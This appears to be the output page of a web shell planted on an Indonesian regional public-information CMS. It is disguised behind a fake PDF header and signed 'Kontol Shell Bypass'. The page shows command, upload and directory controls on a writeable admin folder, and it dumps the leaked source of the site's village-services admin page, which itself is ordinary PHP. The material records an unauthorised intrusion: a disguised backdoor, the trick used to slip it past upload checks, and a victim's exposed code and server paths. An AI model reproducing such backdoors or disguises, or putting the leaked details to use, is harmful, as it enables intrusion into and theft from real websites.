%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/layanan-desa.php
<?php
/**
 * Admin: kelola tautan Layanan Desa.
 * Pilih Kecamatan → Desa (dependent dropdown dari master 54 desa).
 * Satu desa hanya boleh punya satu tautan (anti-duplikat).
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_central();

$kecamatanList = kecamatan_mateng();
$desaAll = get_desa_all();
$usedIds = get_used_desa_ids();
$errors  = [];
$form = ['id' => 0, 'kecamatan' => '', 'desa_id' => 0, 'website' => '', 'keterangan' => ''];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    $action = post_param('action');

    if ($action === 'delete') {
        db()->prepare('DELETE FROM layanan_desa WHERE id = ?')->execute([(int) post_param('id')]);
        set_flash('success', 'Data layanan desa dihapus.');
        redirect('admin/layanan-desa.php');
    }

    $form = [
        'id'         => (int) post_param('id'),
        'kecamatan'  => post_param('kecamatan'),
        'desa_id'    => (int) post_param('desa_id'),
        'website'    => post_param('website'),
        'keterangan' => post_param('keterangan'),
    ];

    // Ambil & validasi desa terpilih.
    $desa = null;
    if ($form['desa_id'] > 0) {
        $d = db()->prepare('SELECT * FROM desa WHERE id = ?');
        $d->execute([$form['desa_id']]);
        $desa = $d->fetch();
    }
    if (!$desa) {
        $errors['desa_id'] = 'Silakan pilih kecamatan dan desa.';
    } else {
        $form['kecamatan'] = $desa['kecamatan'];
        // Cegah input ganda: desa yang sama tidak boleh dua kali.
        $chk = db()->prepare('SELECT id FROM layanan_desa WHERE desa_id = ? AND id <> ?');
        $chk->execute([$form['desa_id'], $form['id']]);
        if ($chk->fetch()) {
            $errors['desa_id'] = 'Desa "' . $desa['nama'] . '" sudah memiliki tautan layanan. Input ganda ditolak.';
        }
    }

    // Normalisasi & validasi URL.
    if ($form['website'] === '') {
        $errors['website'] = 'Website wajib diisi.';
    } else {
        if (!preg_match('#^https?://#i', $form['website'])) {
            $form['website'] = 'https://' . $form['website'];
        }
        if (!filter_var($form['website'], FILTER_VALIDATE_URL)) {
            $errors['website'] = 'URL website tidak valid.';
        }
    }

    if (empty($errors) && $desa) {
        if ($form['id'] > 0) {
            db()->prepare('UPDATE layanan_desa SET desa_id=?, kecamatan=?, nama_desa=?, website=?, keterangan=? WHERE id=?')
                ->execute([$form['desa_id'], $desa['kecamatan'], $desa['nama'], $form['website'], $form['keterangan'] ?: null, $form['id']]);
            set_flash('success', 'Layanan desa berhasil diperbarui.');
        } else {
            db()->prepare('INSERT INTO layanan_desa (desa_id, kecamatan, nama_desa, website, keterangan, created_by) VALUES (?,?,?,?,?,?)')
                ->execute([$form['desa_id'], $desa['kecamatan'], $desa['nama'], $form['website'], $form['keterangan'] ?: null, current_admin()['id']]);
            set_flash('success', 'Layanan desa berhasil ditambahkan.');
        }
        redirect('admin/layanan-desa.php');
    }
}

$editId = (int) get_param('edit');
if ($editId > 0 && empty($errors)) {
    $stmt = db()->prepare('SELECT * FROM layanan_desa WHERE id = ?');
    $stmt->execute([$editId]);
    if ($row = $stmt->fetch()) {
        $form = ['id' => (int) $row['id'], 'kecamatan' => $row['kecamatan'], 'desa_id' => (int) $row['desa_id'], 'website' => $row['website'], 'keterangan' => $row['keterangan'] ?? ''];
    }
}

$rows = db()->query('SELECT * FROM layanan_desa ORDER BY kecamatan ASC, nama_desa ASC')->fetchAll();

$isEdit = $form['id'] > 0;
$pageTitle  = 'Layanan Desa — CMS PPID';
$activeMenu = 'layanan-desa';
require __DIR__ . '/partials/head.php';
$val = static fn (string $k) => e((string) ($form[$k] ?? ''));
?>

<div class="mb-6">
    <h2 class="text-2xl font-bold text-slate-900">Layanan Desa</h2>
    <p class="text-sm text-slate-500 mt-1">Kelola tautan website layanan desa. Total <strong><?= count($desaAll) ?></strong> desa · <strong><?= count($usedIds) ?></strong> sudah bertautan.</p>
</div>

<div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
    <!-- Form -->
    <div class="lg:col-span-1">
        <div class="bg-white border <?= $isEdit ? 'border-mateng-blue/40' : 'border-slate-100' ?> rounded-xl shadow-sm p-6 sticky top-6">
            <h3 class="font-bold text-slate-800 mb-4 flex items-center gap-2"><i class="fas <?= $isEdit ? 'fa-pen' : 'fa-plus' ?> text-mateng-blue"></i> <?= $isEdit ? 'Edit Desa' : 'Tambah Desa' ?></h3>
            <form method="post" class="space-y-4">
                <?= csrf_field() ?>
                <input type="hidden" name="action" value="save">
                <input type="hidden" name="id" value="<?= (int) $form['id'] ?>">
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Kecamatan <span class="text-red-500">*</span></label>
                    <select id="kecSelect" name="kecamatan" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100 bg-white">
                        <option value="">— Pilih kecamatan —</option>
                        <?php foreach ($kecamatanList as $kec): ?>
                            <option value="<?= e($kec) ?>" <?= $form['kecamatan'] === $kec ? 'selected' : '' ?>><?= e($kec) ?></option>
                        <?php endforeach; ?>
                    </select>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Desa <span class="text-red-500">*</span></label>
                    <select id="desaSelect" name="desa_id" class="w-full rounded-lg border px-3 py-2.5 outline-none focus:ring-4 bg-white <?= isset($errors['desa_id']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
                        <option value="">— Pilih desa —</option>
                        <?php foreach ($desaAll as $d):
                            $used = in_array((int) $d['id'], $usedIds, true) ? '1' : '0'; ?>
                            <option value="<?= (int) $d['id'] ?>" data-kec="<?= e($d['kecamatan']) ?>" data-used="<?= $used ?>" <?= $form['desa_id'] === (int) $d['id'] ? 'selected' : '' ?>><?= e($d['nama']) ?></option>
                        <?php endforeach; ?>
                    </select>
                    <?php if (isset($errors['desa_id'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['desa_id']) ?></p><?php endif; ?>
                    <p class="text-xs text-slate-400 mt-1">Desa yang sudah bertautan otomatis disembunyikan.</p>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Website Layanan Desa <span class="text-red-500">*</span></label>
                    <input type="text" name="website" value="<?= $val('website') ?>" placeholder="https://namadesa.desa.id" class="w-full rounded-lg border px-3 py-2.5 outline-none focus:ring-4 <?= isset($errors['website']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
                    <?php if (isset($errors['website'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['website']) ?></p><?php endif; ?>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Keterangan <span class="text-xs text-slate-400">(opsional)</span></label>
                    <input type="text" name="keterangan" value="<?= $val('keterangan') ?>" class="w-full rounded-lg border border-slate-300 px-3 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                </div>
                <div class="flex gap-2 pt-1">
                    <button type="submit" class="bg-mateng-green hover:bg-green-700 text-white font-semibold px-5 py-2.5 rounded-lg transition-colors flex items-center gap-2"><i class="fas fa-save"></i> <?= $isEdit ? 'Perbarui' : 'Simpan' ?></button>
                    <?php if ($isEdit): ?><a href="<?= e(url('admin/layanan-desa.php')) ?>" class="bg-slate-100 hover:bg-slate-200 text-slate-700 font-semibold px-5 py-2.5 rounded-lg transition-colors">Batal</a><?php endif; ?>
                </div>
            </form>
        </div>
    </div>

    <!-- Daftar -->
    <div class="lg:col-span-2">
        <div class="bg-white border border-slate-100 rounded-xl shadow-sm overflow-hidden">
            <div class="overflow-x-auto">
                <table class="w-full text-left border-collapse">
                    <thead>
                        <tr class="bg-slate-50 text-slate-500 text-xs uppercase tracking-wider">
                            <th class="px-5 py-4 font-semibold">Desa</th>
                            <th class="px-5 py-4 font-semibold">Kecamatan</th>
                            <th class="px-5 py-4 font-semibold">Website</th>
                            <th class="px-5 py-4 font-semibold text-center">Aksi</th>
                        </tr>
                    </thead>
                    <tbody class="text-sm divide-y divide-slate-100 text-slate-700">
                        <?php if (empty($rows)): ?>
                            <tr><td colspan="4" class="px-5 py-12 text-center text-slate-400"><i class="fas fa-house-flag text-3xl mb-2 block"></i>Belum ada data.</td></tr>
                        <?php else: foreach ($rows as $r): ?>
                            <tr class="hover:bg-slate-50/50">
                                <td class="px-5 py-3.5 font-medium text-slate-800">Desa <?= e($r['nama_desa']) ?></td>
                                <td class="px-5 py-3.5"><span class="text-xs font-semibold text-mateng-green bg-green-50 px-2 py-1 rounded-full"><?= e($r['kecamatan']) ?></span></td>
                                <td class="px-5 py-3.5"><a href="<?= e($r['website']) ?>" target="_blank" rel="noopener" class="text-mateng-blue hover:underline truncate inline-block max-w-[200px]"><?= e(preg_replace('#^https?://#', '', $r['website'])) ?></a></td>
                                <td class="px-5 py-3.5">
                                    <div class="flex items-center justify-center gap-1">
                                        <a href="<?= e(url('admin/layanan-desa.php?edit=' . $r['id'])) ?>" class="p-2 text-mateng-blue hover:bg-blue-50 rounded-lg" title="Edit"><i class="fas fa-pen"></i></a>
                                        <form method="post" class="inline" onsubmit="return confirm('Hapus data desa ini?');">
                                            <?= csrf_field() ?>
                                            <input type="hidden" name="action" value="delete">
                                            <input type="hidden" name="id" value="<?= (int) $r['id'] ?>">
                                            <button type="submit" class="p-2 text-red-500 hover:bg-red-50 rounded-lg" title="Hapus"><i class="fas fa-trash"></i></button>
                                        </form>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; endif; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>

<script>
    // Dependent dropdown: desa disaring berdasarkan kecamatan; desa terpakai disembunyikan.
    (function () {
        var kec = document.getElementById('kecSelect');
        var desa = document.getElementById('desaSelect');
        if (!kec || !desa) return;
        var currentDesa = '<?= (int) $form['desa_id'] ?>';
        function filter() {
            var k = kec.value;
            Array.prototype.forEach.call(desa.options, function (opt) {
                if (!opt.value) return;
                var match = opt.getAttribute('data-kec') === k;
                var used = opt.getAttribute('data-used') === '1' && opt.value !== currentDesa;
                var show = match && !used;
                opt.hidden = !show;
                opt.disabled = !show;
            });
            if (desa.selectedOptions[0] && (desa.selectedOptions[0].hidden || !desa.value)) {
                if (desa.value !== currentDesa) { desa.value = ''; }
            }
        }
        kec.addEventListener('change', function () { desa.value = ''; filter(); });
        filter();
    })();
</script>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass